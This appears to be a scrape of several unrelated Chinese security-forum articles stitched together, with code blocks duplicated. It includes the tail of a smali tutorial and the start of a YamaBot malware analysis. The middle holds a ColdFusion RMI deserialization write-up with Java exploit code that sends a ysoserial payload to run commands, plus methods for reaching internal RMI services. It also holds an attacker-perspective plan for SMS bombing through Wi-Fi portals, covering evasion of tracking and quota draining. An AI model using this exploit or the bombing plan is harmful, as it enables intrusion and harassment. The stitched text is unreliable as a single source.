move-result v3
# ans += v3 =>v0
invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
move-result-object v2
invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v0
# i++
add-int/lit8 v1, v1, 0x1
goto :goto_0
# Log.e("ans:",ans);
:cond_0
const-string v2, "ans:"
invoke-static {v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
return-void
.end method
**c.switch语句**
public void encrypt(int flag) {
String ans = null;
switch (flag){
case 0:
ans = "ans is 0";
break;
default:
ans = "noans";
break;
}
Log.v("ans:",ans);
}
<=对应smali=>
#public void encrypt(int flag) {
.method public encrypt(I)V
.locals 2
.param p1, "flag" # I
.prologue
#String ans = null;
const/4 v0, 0x0
.local v0, "ans":Ljava/lang/String;
#switch (flag){
packed-switch p1, :pswitch_data_0 # pswitch_data_0指定case区域的开头及结尾
#default: ans="noans"
const-string v0, "noans"
#Log.v("ans:",ans)
:goto_0
const-string v1, "ans:"
invoke-static {v1, v0}, Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;)I
return-void
#case 0: ans="ans is 0"
:pswitch_0 #pswitch_<case的值>
const-string v0, "ans is 0"
goto :goto_0 # break
nop
:pswitch_data_0 #case区域的结束
.packed-switch 0x0 #定义case的情况
:pswitch_0 #case 0
.end packed-switch
.end method
其中case定义情况有两种：
1.从0开始递增
packed-switch p1, :pswitch_data_0
...
:pswitch_data_0
.packed-switch 0x0
:pswitch_0
:pswitch_1
2.无规则switch
sparse-switch p1,:sswitch_data_0
...
sswitch_data_0
.sparse-switch
0xa -> : sswitch_0
0xb -> : sswitch_1 # 字符会转化成数组
**d.try-catch语句**
****
public void encrypt(int flag) {
String ans = null;
try {
ans = "ok!";
} catch (Exception e){
ans = e.toString();
}
Log.d("error",ans);
}
<=对应smali=>
#public void encrypt(int flag) {
.method public encrypt(I)V
.locals 3
.param p1, "flag" # I
.prologue
#String ans = null;
const/4 v0, 0x0
.line 20
.local v0, "ans":Ljava/lang/String;
#try { ans="ok!"; }
:try_start_0 # 第一个try开始，
const-string v0, "ok!"
:try_end_0 # 第一个try结束(主要是可能有多个try)
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
#Log.d("error",ans);
:goto_0
const-string v2, "error"
invoke-static {v2, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
return-void
#catch (Exception e){ans = e.toString();}
:catch_0 #第一个catch
move-exception v1
.local v1, "e":Ljava/lang/Exception;
invoke-virtual {v1}, Ljava/lang/Exception;->toString()Ljava/lang/String;
move-result-object v0
goto :goto_0
.end method
**0x04 参考资料**
<http://blog.csdn.net/qq_24349189/article/details/52300419>
[http://lib.csdn.net/article/android/7043](http://lib.csdn.net/article/android/7043)
[http://devxeo.lofter.com/post/2da37d_cd7c69](http://devxeo.lofter.com/post/2da37d_cd7c69)
[http://www.blogjava.net/midea0978/archive/2012/01/04/367847.html](http://www.blogjava.net/midea0978/archive/2012/01/04/367847.html) | 社区文章 |
原文：<https://nickbloor.co.uk/2018/06/18/another-coldfusion-rce-cve-2018-4939/>
2017年10月，我发布了一篇介绍影响Adobe ColdFusion Flex集成服务的[Java
RMI/反序列化漏洞的概述性文章](https://nickbloor.co.uk/2017/10/13/adobe-coldfusion-deserialization-rce-cve-2017-11283-cve-2017-11238/ "Java
RMI/反序列化漏洞的概述性文章")以及相应的概念验证视频。由于本人发现有些漏洞利用代码对于已经打过补丁的服务器来说仍然奏效，因此，当时并没有公布完整的漏洞细节和漏洞利用代码。
令人欣慰的是，Adobe已经[再次更新](https://helpx.adobe.com/security/products/coldfusion/apsb18-14.html
"再次更新")了该软件，所以，现在终于可以将这个漏洞的所有细节公之于众了。
**RMI 与 java.lang.Object**
* * *
众所周知，Java远程方法调用（RMI）协议几乎是纯[Java序列化](https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/
"Java序列化")的方式实现的——当我们从RMI注册表服务那里请求对象，并调用该对象的方法时，通过网络传输的数据都将采用Java序列化格式。例如，ColdFusion的Flex集成的RMI服务公开了如下所示的类的一个对象：
coldfusion.flex.rmi.DataServicesCFProxy
这个类位于ColdFusion安装目录下的“libs/cfusion.jar”文件中，具体代码如下所示：
package coldfusion.flex.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.util.Map;
public abstract interface DataServicesCFProxy extends Remote
{
public abstract List fill(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException;
public abstract List sync(String paramString, List paramList, Map paramMap) throws RemoteException;
public abstract Object get(String paramString, Map paramMap1, Map paramMap2) throws RemoteException;
public abstract Integer count(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException;
public abstract boolean fillContains(String paramString, Object[] paramArrayOfObject, Object paramObject, Boolean paramBoolean, Map paramMap) throws RemoteException;
}
package coldfusion.flex.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.util.Map;
public abstract interface DataServicesCFProxy extends Remote
{
public abstract List fill(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException;
public abstract List sync(String paramString, List paramList, Map paramMap) throws RemoteException;
public abstract Object get(String paramString, Map paramMap1, Map paramMap2) throws RemoteException;
public abstract Integer count(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException;
public abstract boolean fillContains(String paramString, Object[] paramArrayOfObject, Object paramObject, Boolean paramBoolean, Map paramMap) throws RemoteException;
}
对于上面的每个方法来说，都可以将任意的Java对象作为参数来进行调用。需要注意的是，诸如List和Map之类的容器，是可以包含任意的Java对象的。问题在于，由于我们无需身份验证即可与该RMI服务进行交互，所以，任何能通过网络访问该服务的人，都可以向其提供二进制形式的Java对象，这样就有机会发动Java反序列化攻击了（例如，以方法参数的形式提供[ysoserial](https://github.com/frohoff/ysoserial
"ysoserial")的有效载荷）。
不幸的是，所有的ysoserial有效载荷在这里都无法正常使用。
之前，我在关于ColdFusion
CVE-2017-11283和CVE-2017-11284的文章中，曾经介绍过如何修改ysoserial有效载荷来成功利用该入口点，以及如何使用Mozilla
Rhino
JavaScript库来远程执行命令。就本文而言，采用的技术和入口点跟前面的文章中的都是一样的，但目标却变成了与ColdFusion捆绑在一起的[ROME库](https://rometools.github.io/rome/
"ROME库")（具体参见“libs/rome-cf.jar”）。
**漏洞利用方法——简易方式**
* * *
下面的代码是一个简单的RMI客户端程序，它从RMI注册表服务获取ColdFusion
DataServicesCFProxy对象，然后调用远程的count()方法，注意该方法的参数为null：
package nb.barmie.demo;
import coldfusion.flex.rmi.DataServicesCFProxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class CFRMIDemo {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");
obj.count(null, null, null);
}
}
package nb.barmie.demo;
import coldfusion.flex.rmi.DataServicesCFProxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class CFRMIDemo {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");
obj.count(null, null, null);
}
}
count()方法的第二个参数是一个java.lang.Object数组，这意味着我们可以在该参数中提供二进制形式的对象，并且这些对象将在服务器上进行反序列化处理。我们可以在运行时通过ysoserial生成一个二进制形式的有效载荷对象，并将其传递给count()方法，但是，ysoserial的ROME有效载荷与ColdFusion捆绑的ROME版本无法兼容。所以，当我们尝试这种方法时，服务器会指出服务器端的类与通过网络发送的序列化对象不兼容。之所以出现这种情况，主要是serialVersionUID字段不匹配所致。
在2018年4月推出新的更新之前，利用ColdFusion
RMI服务漏洞的最简单方法是重新构建ysoserial。具体来说，就是利用ColdFusion安装目录中的“libs/rome-cf.jar”来构建ysoserial，而不是使用rome 1.0（Maven的依赖项）。完成上述工作后，就可以使用以下代码来生成和投递有效载荷了：
package nb.barmie.exploit.standalone;
import coldfusion.flex.rmi.DataServicesCFProxy;
import ysoserial.payloads.ROME;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class CFRMIExploit {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");
obj.count(null, new Object[] {
new ROME().getObject(args[2])
}, null);
}
}
package nb.barmie.exploit.standalone;
import coldfusion.flex.rmi.DataServicesCFProxy;
import ysoserial.payloads.ROME;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class CFRMIExploit {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
DataServicesCFProxy obj = (DataServicesCFProxy)reg.lookup("cfassembler/default");
obj.count(null, new Object[] {
new ROME().getObject(args[2])
}, null);
}
}
我们可以通过参数host、port和command来运行上述漏洞利用代码。
**基于BaRMIe的漏洞利用方法**
* * *
在RMI安全方面完成大量工作之后，我决定在自己的RMI枚举和攻击工具[BaRMIe](https://github.com/NickstaDB/BaRMIe
"BaRMIe")中实现这个反序列化漏洞的利用代码。虽然这样做的话，这个利用代码会更加复杂，但同时也会更强大。在不久的将来，我会发布这个版本的漏洞利用代码，但现在，不妨先来解释一下它的运行原理！
**关于RMI的背景知识**
* * *
我们知道，远程方法调用会涉及两个网络服务和两个不同的网络连接。第一个网络服务是RMI注册表服务，通常可以在TCP端口1099上找到，它实际上就是一个目录服务，用于将Java对象引用绑定到相应的名称上面。下面第4行的代码的作用，是连接到10.0.0.30:1099上的RMI注册表服务，并请求引用绑定名称为“Foo”的对象：
public class RMIList {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099);
SomeClass obj = (SomeClass)reg.lookup("Foo");
}
}
public class RMIList {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099);
SomeClass obj = (SomeClass)reg.lookup("Foo");
}
}
第二个网络服务用于与对象本身进行通信。当对象绑定到RMI注册表服务中的给定名称时，对象的主机和端口将存储在注册服务中（而知道了对象的主机和端口，就可以找到对象本身了）。从RMI注册表服务中检索对象引用时，RMI注册表服务返回的数据中将包括对象的网络服务的主机和端口。下面第5行代码的作用是连接到RMI对象服务并调用someMethod()方法：
public class RMIList {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099);
SomeClass obj = (SomeClass)reg.lookup("Foo");
obj.someMethod("String Param");
}
}
public class RMIList {
public static void main(String[] args) throws Exception {
Registry reg = LocateRegistry.getRegistry("10.0.0.30", 1099);
SomeClass obj = (SomeClass)reg.lookup("Foo");
obj.someMethod("String Param");
}
}
**中间人攻击**
* * *
在构建BaRMIe时，我的目标是尽可能多地包含漏洞利用有效载荷（POP
gadget链），同时摆脱各种依赖项和单个依赖项的多个版本之类的纠葛。为了实现这一目标，我采用了硬编码静态有效载荷并按需生成动态部分（例如命令字符串和相应的长度字段）的方式。但是问题在于，没有办法将二进制字节注入到RMI连接上，以便让接收服务器对这些字节进行反序列化。为了实现这个目标，我建立了一个代理框架，以便在两个连接之间发动中间人攻击。它的工作原理如下所示：
1. 启动一个将连接转发到目标RMI注册表的RMI注册表代理
2. 调用LocateRegistry.getRegistry()，注意这里使用的是RMI注册表代理的主机和端口，而非RMI注册表服务的主机和端口
3. 调用Registry.lookup()，通过RMI注册表代理（将请求转发给真正的RMI注册表服务）获取远程对象引用
4. 当RMI注册表代理检测到返回的远程对象引用时：
5. 它会启动一个RMI方法代理来将连接转发给实际的RMI对象服务
6. 它会修改远程对象引用，使其指向新的RMI方法代理，而非实际的RMI对象服务
7. 在远程对象引用上调用方法时，相应的连接将“路经”RMI方法代理
既然远程方法调用是通过代理来完成的，那么自然就有机会完全控制该协议了，同时，原来Java虚拟机不许“碰”的一些东西，现在也可以尽情鼓捣了：一个很好的例子就是，如果一个远程方法预期的参数类型为java.lang.String，那么，就无法提供二进制形式的对象了，但是，如果使用代理在网络级别修改出站远程方法调用的话，就可以提供二进制形式的对象，并让服务器将对其进行反序列化处理了。
使用RMI方法代理时，可以通过常规方式使用占位符参数（而非有效载荷对象）来调用远程方法。当该方法代理检测占位符对象的字节时，我们可以用经过反序列化处理的有效载荷的字节流来替换这些占位符字节。
**修改有效载荷**
* * *
当我第一次在ColdFusion安装目录中发现文件“libs/rome-cf.jar”时，我做的第一件事就是利用BaRMIe创建了一个漏洞利用程序，让它利用RMI方法代理注入两个来自ysoserial的、基于ROME有效载荷的有效载荷。虽然这些努力并没有成功，但服务器的响应表明，问题在于本地类不兼容，并给出了服务器端类的serialVersionUID。本着不达目的不罢休的精神，我对自己的有效载荷进行了多次改进，最后终于使有效载荷中的serialVersionUID值与服务器上的值相匹配了，换句话说，又可以对ColdFusion发动远程命令执行攻击了。
**攻击“内部”服务**
* * *
也许读者会觉得上面介绍的代理技术非常复杂，但实际上，BaRMIe已经实现了相应的功能，因此，开发这个漏洞利用程序的时候，我只花了半小时就搞定了。
除了可以突破Java虚拟机的某些限制之外，本文介绍的代理方法还有一项额外的优势：控制某些服务。具体来说，就是许多所谓的“内部”RMI服务实际上并不是只对内使用的。您可以将对象绑定到RMI注册表，并给人这样的印象，即它们已经绑定到诸如127.0.0.1或10.0.0.30甚至host.yourbusiness.local上面。如果外部攻击者使用上面介绍的简单漏洞利用方法获得这些对象的引用后，实际上是无法攻击RMI服务的，因为他们无法访问这些内部地址。
但是，默认情况下，RMI对象服务将绑定到所有网络接口。假设目标的外部地址是8.8.8.9，RMI注册表会返回一个对象引用，该对象引用实际上指向目标的内部地址，即10.8.8.9:30001。默认情况下，也可以通过连接对象的外部地址上的相同端口，即8.8.8.9:30001来访问这个对象（内部地址为10.8.8.9:30001的那个对象）。通过代理RMI注册表连接，我们可以检测并自动修改RMI连接，从而对“内部绑定”的对象发起攻击。
**参考资料**
* * *
* 我之前详细介绍ColdFusion安全漏洞的文章 (<https://nickbloor.co.uk/2017/10/13/adobe-coldfusion-deserialization-rce-cve-2017-11283-cve-2017-11238/>)
* Adobe安全更新 APSB18-14 (<https://helpx.adobe.com/security/products/coldfusion/apsb18-14.html>)
* Java反序列化漏洞利用 (<https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/>)
* ysoserial，Java反序列化有效载荷生成器 (<https://github.com/frohoff/ysoserial>)
* ROME库 (<https://rometools.github.io/rome/>)
* BaRMIe ，RMI 枚举与攻击工具 (<https://github.com/NickstaDB/BaRMIe>) | 社区文章 |
# IoT视角下的短信攻击 —— Wi-Fi Portal滥用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：M.A.L@vmOS
## 0x00：引言
之前，一直跟着team做Wi-Fi接入的安全性研究。某一天，睡迷糊了，睁开眼睛瞎瞅，正好看到安全客上一篇关于短信攻击的文章。好家伙，这东西还整成一个产业链条了，开T宝，打广告，收人钱，消人灾。但是，这也存在问题啊，毕竟black
money（后统称BM）一落地必然会关联到人，那就有人会落网。再者，虽说短信轰炸都是利用“短信认证网关”的傻瓜式“反弹”伤害，在短时间内给被攻击者造成极大的短信流量，短信拥塞，甚至是手机发烫到死机。但是，总得有人来触发啊，总会有IP啊。而且，听搞WEB的朋友说，肉鸡貌似也不好找了啊。也就是说，单纯通过“短信认证网关”实施短信轰炸不应该是这帮犯罪分子的终极之路。
那从物联网（IoT）的角度，我们来分析一下IoT设备是否有可能成为这帮犯罪分子用于发动攻击的黑产设施呢？别说，还真有，那就是Wi-Fi
Portal，也凑合着叫做Wi-Fi认证网关吧(这东西不是前文的短信认证网关，其功能更像是一个阉割版本的BOSS计费系统)。这篇文章呢，就试图从攻击者的角度来探讨IoT环境下，Wi-Fi
Portal是否真的有可能沦为发起短信轰炸的工具？如果这种可能性存在，该如何有效防范此类风险？
话不多说，按照team的老规矩，先祭上本文的mindmap！
## 0x01：背景
### 1.1、什么是Wi-Fi Portal？
在国外，很多商家的Wi-Fi服务是有偿的，也就是说你需要先付费，然后才能使用。啥也不说，先拍腿骂娘！可是，这种先付费再使用的模式，却能有效解决Wi-Fi服务被用于非法攻击或者网络造谣的恶疾。然而，在我们国内，几乎没有哪一个地方会提供付费Wi-Fi服务。啥也不说，先拍手称赞。但是，问题却来了，谁都可以免费使用，万一用户中有一个“黑阔”咋整呢？一口气黑掉米国17个情报机构，然后悄无声息的把锅全甩你头上，你那可是比窦娥还冤枉啊。那咱不得想个办法，解决免费Wi-Fi服务机制下的用户认证问题。现在手机这么多，用电脑的越来越少，而且三大运营商实名制管理这么严格，就直接使用手机号码作为验证凭据，再加个动态验证短信码，齐活儿啊。
当然，前面说的只是技术上的表象。扒开这层外衣，深入的捋一捋，其实Wi-Fi
Portal也只是实现了移动终端在特定内网中的接入，而真正要上外还得要通过计费系统（BOSS），确切地说应该叫做流量管控系统。对于通过了短信验证的终端而言（MAC+IP进行识别），可以上网；而那些没有通过短信验证的终端嘛，就哪儿凉快哪儿呆着去了。
不难看出，有两个东西极其关键，一个是BOSS系统——决定你能否上网；另一个呢，则是短信认证网关——只有它才能给你短信验证码。从自个儿肤浅的认识来看，BOSS应该是提供Wi-Fi接入服务的商家自己搭建和运维的，但是也不排除一些商家购买了一体化的服务（BOSS+短信接入服务）。短信认证网关则有专业的服务厂商提供，具体价格根据短信收发数量，收发总量等等决定。
## 0x02：针对个人的SMS攻击
针对个人的SMS攻击经历了好几个发展阶段，从单纯的伪基站，到后来使用冒名顶替的SIM卡实施攻击，再到后来利用各种网站的短信验证码服务实施攻击。总的来说，整个攻击的成本和技术难度算是在不断提升，这也符合“黑产”发展的逻辑——在与警察叔叔对抗的过程中不断升级技术装备并提高自身的技术对抗能力。
仅从当且阶段针对个人的SMS攻击而言，大多数的团伙应该是利用各种网站的短信验证服务实施攻击，从本质上来说算是一种“反弹式”攻击，真正实施攻击的是各个网站购买的SMS认证服务。当然，前面也说过了，这种犯罪行为最要命的就是“变现”，这也是打击网络犯罪的不二法宝。警察叔叔利用其对犯罪分子的、强大的信息不对称优势，可以精准的落地抓人。至于说为什么不通过纯粹技术手段定位实施犯罪的个人嘛，主要原因还是警察叔叔手头的case太多了。说道这里，我得说道说道我爷爷和我奶奶了，给派出所的警察叔叔添了不少麻烦。他们也不想想除了我这个大胖孙子，谁会当他们的迷弟迷妹啊。。。
为了配合写这个文章，我专门查了一些关于SMS攻击（轰炸）的研究文章和针对相关黑产进行打击的文章。总的来看，这些利用SMS验证服务实施攻击的案例大概有以下特征：
1.短时间内，针对被攻击者发送大量的验证短信。当然，若要是发个一条半条的也就没有什么威力了。毕竟，人卖家的宣传广告就是：半小时内，炸到手机重启！当然，这只是SMS攻击最直接的危害体现，后面我们接着唠。
2.难以追踪。前面也说了，因为攻击者自身往往采用了反追踪或者反溯源手段，当然大多数就是挂了一层Proxy或者VPN；再者，警察叔叔们确实很忙，对于这些危害性尚不足以构成刑事犯罪的行为，也确实抽不出时间来收拾这些“卖家”。我们要强调的是，这类反弹式的SMS攻击难以追踪，但绝不是不能追踪。
3.黑钱落地。如果仅仅是因为女票被文学系的SZ勾搭走了，或者让体育系的鳖孙给忽悠没了，利用技术手段实施“孤狼式”的攻击，这个几乎没法查，毕竟这事儿只跟感情有关系。但是，对于吃专业饭的“黑产”而言，他们的付出一定是要有回报的，也就是说“黑金”必须要落袋的。资要是涉及到钱了，就容易惊动警察叔叔敏锐的神经，那么利用国家机器的强大的V8引擎，这些个“卖家”必然只能去吃牢饭了。
4.看得见的叫做损失，看不见的叫做持续性损(伤)失(害)。前面也说了，短信轰炸那得是手机发烫，脑袋发胀啊，咔咔咔，一条又一条的短信，搁谁不得发疯啊。但是，根据我们的了解和实际的测试，很多网站一旦接收到新的验证手机号之后，会持续不断地给你推送“酒店特惠房”，“超值钟点房”，“水疗会所VIP套餐”等等。你说我要是被整了这么一出，我爸妈还能给我零花钱吗？既然都说到这里了，小编你就看着把稿费再往上提一提呗，为了这篇文章我损失大了去了。
## 0x03：利用Wi-Fi Portal实施SMS攻击的可能性研究
根据我们对SMS攻击的肤浅了解，加之现实生活中各种有趣的IoT设备和应用场景，假设我此时时刻就是那个实施SMS攻击的大恶棍，各种路子都被警察叔叔一锅端了，现在女票还要买LV的包，GUCCI的鞋和香奈儿的香水儿，一句话：出于男票的非理性心理作祟，必须捞钱去。我该肿么办呢？
1.尽量不用大型设备。你想想在一个人潮攒动的shopping
mall里头，就你一个人抱着一台游戏笔记本在咖啡厅门口杵着，一杵就是仨小时，完了一杯咖啡都不点，这些可都在人监控里头的。当然，如果我只用一部手机就能搞定呢？那我还需要用高射炮吗？整个shopping
mall随便逛，没电了也不着急啊，扫个充电宝嘛（这个还是不太容易暴露），你想想一台游戏笔记本没了插座能撑多久呢？完了再开一个Kali跑着，那电欻欻就没了啊。
2.尽量选择低功耗设备。前面也说到了，低功耗设备意味着更强的便携性，四处游走，既能规避监控风险，又能捣鼓到更多的Wi-Fi Portal。
3.更加难以追踪。为什么呢？有两方面原因，一是Wi-Fi
Portal只会在你成功登录之后记录日志信息，包括手机号码，MAC和IP，可我现在是攻击啊，被攻击者也几乎不可能登录到这个网络中啊（除非这孙子正跟我旁边儿一起背对背喝咖啡，这概率着实太小了，忽略）；二是，很多手机在连接到Wi-Fi的时候，都会自动创建一个临时的MAC地址（比如，一加手机等）。总结一下，Wi-Fi
Portal记录不到关键信息，比如手机号码等；我们的移动终端还能自动隐藏真实MAC地址，我就问你嗨不嗨，爽不爽！？
4.关于单个SMS攻击的频度。的确，几乎所有的SMS验证服务提供商都会进行手机号码个数限制，单日内允许向单个手机号发送短信的总数等等。这些问题呢，跟我们的攻击路径其实是没有关系的，这是所有SMS攻击都要面对的问题。当然，安全客上有个大牛已经给出了很详细的解决方案，虽然他的anti-measures只是针对WEB的，但是对于我们也一样的道理。小弟我不敢私藏，无私奉上，望给为大佬笑纳：《挖洞技巧：绕过短信&邮箱轰炸限制以及后续》。
5.利用策略榨干单个Wi-Fi Portal的短信“余额”。假设单个Wi-Fi
Portal单日的SMS发送总量是一定的，同时在利用前面的绕过方法后，我们可以触及单个手机号码的硬顶。那么，我么如何才能将Wi-Fi
Portal像资本家剥削我师兄一样压榨到骨瘦如柴呢？目前，我想到的办法就是多打广告，招揽更多的业务，让更多的人购买SMS攻击服务，那么我们就可以跟一个地方，在一小时内向更多的用户发送更多的SMS
轰炸短信。当然，我们也可以采用分时轮询的方式，在同一个位置地点对周遭多个Wi-Fi
Portal发起SMS攻击。这一点是具有现实可行性的，为什么呢？你见过星巴克旁边就全是卖女性内衣的吗？你见过KFC旁边净是川菜馆的吗？难道就没有一家火锅店吗？
## 0x04：工具集
碍于这篇文章有点不伦不类，本想的是说说IoT视角下的网络安全，也不曾想写着写着就有点偏了，我还是不给小编找不痛快了，cases就不上了吧。但是，小编得把稿费给我补上去了，
~~我零花钱是真给扣了的~~ ！泥马，一万个委屈啊。。。。。。
1.基于安卓设备的移动终端。当然，这也不是绝对的，毕竟安卓平板也行，当然最好能够root。iPhone也可以，毕竟iShell那是真香啊，即便你不能越狱，照样可以用来完成文中所说的案例（测试）。毕竟，小的已经把攻击所涉及到的工具环节进行了最简化处理，也就是说只要一个基于Android的Linux
模拟器（无需root亦可）和一个APP就能完成了(部分情况下需要root)。
2.充电宝。干大事者不拘小节，带个充电宝不碍事儿，非得扫个街电，怪兽啥的，那不又得费钱啦。如果单纯做做测试，不带也行，或者最多5000毫安的充电宝1个就够了。
3.外接的USB无线网卡。这货不是必选项，用它呢，一是安全，二是信号好一点，覆盖范围广一点。当然，单纯做实验嘛，没必要搞那么大动静啦。
4.Linux模拟器。我个人喜欢andrax，虽然kali
nethunter是master的最爱。不过，你们喜欢啥就用啥吧，anLinux也凑活，这个实验也能完成。
5.HttpCanary。这是一个基于Android的抓包工具，因为我们要把攻击设备约束到智能终端上，因此burpsuite我们不推荐。为了获取提交到Wi-Fi
Portal的HTTP包格式，这个是工具值得拥有(部分情况下需要root)。当然，你要问我说，你丫不是说可以用苹果吗？为啥这会儿要我安装一个APK呢？呵呵，你可以在Android设备上用HttpCanary抓包，或者干脆扛着你的大本本先把包抓了再说，然后在你的爱疯上面实施攻击啊？这个没毛病吧？
PS：上图时间戳做了修改
## 0x05：攻击思路
从本质上来说，利用Web站点和Wi-Fi
Portal实施SMS攻击都是一种反弹式的攻击，攻击者借助第三方（SMS服务提供商）对被攻击者实施攻击。因此，刨去那些表象的东西，这两者的攻击思路其实一毛一样。
第一步：找到可资利用的（可触发短信验证码）的服务器。在IoT视野下，我们看到的是Wi-Fi Portal。然而，Web
hacker看到的却是快捷酒店，洗浴会所的Web服务器。
第二步，Http抓包分析。这一步主要是找出提交参数的格式以及提交的URL。在这方面，我是一个彻头彻尾的小白白，不献丑了。。。
第三步，提交构造好的恶意Http请求。如上，不敢装懂。。。
## 0x06：总结
1.从不同的视角看待问题，往往会给我们带来不一样的风景。
2.IoT网络和IoT设备的安全以及安全场景缺乏行业大佬们认真的思索与考量。
**3.对于网络安全人才而言，找个心地善良，内心纯洁，不被物欲所动的女票真的很重要！！！**
## 0x07：引用
1．美国情报机构.
[https://baike.baidu.com/item/美国情报机构/7365174](https://baike.baidu.com/item/%E7%BE%8E%E5%9B%BD%E6%83%85%E6%8A%A5%E6%9C%BA%E6%9E%84/7365174).
2．Jianying. 挖洞技巧：绕过短信&邮箱轰炸限制以及后续. <https://www.anquanke.com/post/id/93878>. | 社区文章 |
**作者：朝長 秀誠
译者：知道创宇404实验室翻译组
原文链接：<https://blogs.jpcert.or.jp/en/2022/07/yamabot.html>**
JPCERT/CC正在持续调查Lazarus的活动。2021年，JPCERT/CC在CODE BLUE和HITCON上介绍了其攻击活动。
<https://github.com/JPCERTCC/Lazarus-research/>
上述研究报告中提到的YamaBot恶意软件针对的是Linux操作系统，但最近发现的另一种恶意软件针对的是Windows操作系统。（文件中称其为Kaos，但本博客称其为YamaBot。）YamaBot是在Golang中编码的恶意软件，在不同平台创建的恶意软件的功能略有不同。除了YamaBot，Lazarus还创建了其他几种针对多个平台的恶意软件，例如[VSingle](https://blogs.jpcert.or.jp/en/2021/03/Lazarus_malware3.html)。本文将介绍YamaBot的详细信息。
### YamaBot概述
YamaBot恶意软件使用HTTP请求与C2服务器通信。下面是示例中以Windows操作系统为目标的函数名列表。攻击者将恶意软件命名为Yamabot。针对Windows操作系统的互斥锁具有特定的功能，例如创建和检查互斥锁。
_/D_/Bot/YamaBot/utilities.BaseDecodeR
_/D_/Bot/YamaBot/utilities.HttpPostWithCookie
_/D_/Bot/YamaBot/utilities.HttpPostWithFile
_/D_/Bot/YamaBot/utilities.GetMacAddress
_/D_/Bot/YamaBot/utilities.GetHash
_/D_/Bot/YamaBot/utilities.GetCookieParams
_/D_/Bot/YamaBot/utilities.GetRndString
_/D_/Bot/YamaBot/utilities.BmpMaker
_/D_/Bot/YamaBot/utilities.createMutex
_/D_/Bot/YamaBot/utilities.CCheckkmutex
_/D_/Bot/YamaBot/utilities.CIpaddress
_/D_/Bot/YamaBot/utilities.COsname
_/D_/Bot/YamaBot/utilities.getOSVer
_/D_/Bot/YamaBot/utilities.Run
_/D_/Bot/YamaBot/utilities.Run.func1
_/D_/Bot/YamaBot/utilities.Run.func2
_/D_/Bot/YamaBot/engine.(*FileStruct).Lunch
_/D_/Bot/YamaBot/engine.(*FileStruct).Init_Verbindung
_/D_/Bot/YamaBot/engine.(*FileStruct).Verschlusselte_Zeichenkette_Eerhalten
_/D_/Bot/YamaBot/engine.(*FileStruct).getInitBotInfo
_/D_/Bot/YamaBot/engine.(*FileStruct).getEggPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).handleMarketPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).processMarketPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).getSessionStr
下面是针对Linux操作系统的样本中包含的恶意软件的函数名称列表，称为Kaos。
_/C_/Users/administrator/Downloads/kaos/utilities.BaseDecodeR
_/C_/Users/administrator/Downloads/kaos/utilities.HttpPostWithCookie
_/C_/Users/administrator/Downloads/kaos/utilities.BaseDecode
_/C_/Users/administrator/Downloads/kaos/utilities.HttpPostWithFile
_/C_/Users/administrator/Downloads/kaos/utilities.GenerateUniqueID
_/C_/Users/administrator/Downloads/kaos/utilities.GetCookieParams
_/C_/Users/administrator/Downloads/kaos/utilities.BaseEncode
_/C_/Users/administrator/Downloads/kaos/utilities.GetRndString
_/C_/Users/administrator/Downloads/kaos/utilities.EierKochen
_/C_/Users/administrator/Downloads/kaos/utilities.CIpaddress
_/C_/Users/administrator/Downloads/kaos/utilities.Run
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).Lunch
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).kandidatKaufhaus
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).initDuck
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).GetEncString
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getInitEggPrice
_/C_/Users/administrator/Downloads/kaos/utilities.COsname
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getEggPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).handleMarketPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).processMarketPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getSessionStr
_/C_/Users/administrator/Downloads/kaos/engine.NewEgg
图1显示了读取配置的部分代码。恶意软件配置信息包括RC4密钥等（请参阅附录A了解配置的更多信息）。不同操作系统的配置没有区别。
图1:读取配置的代码
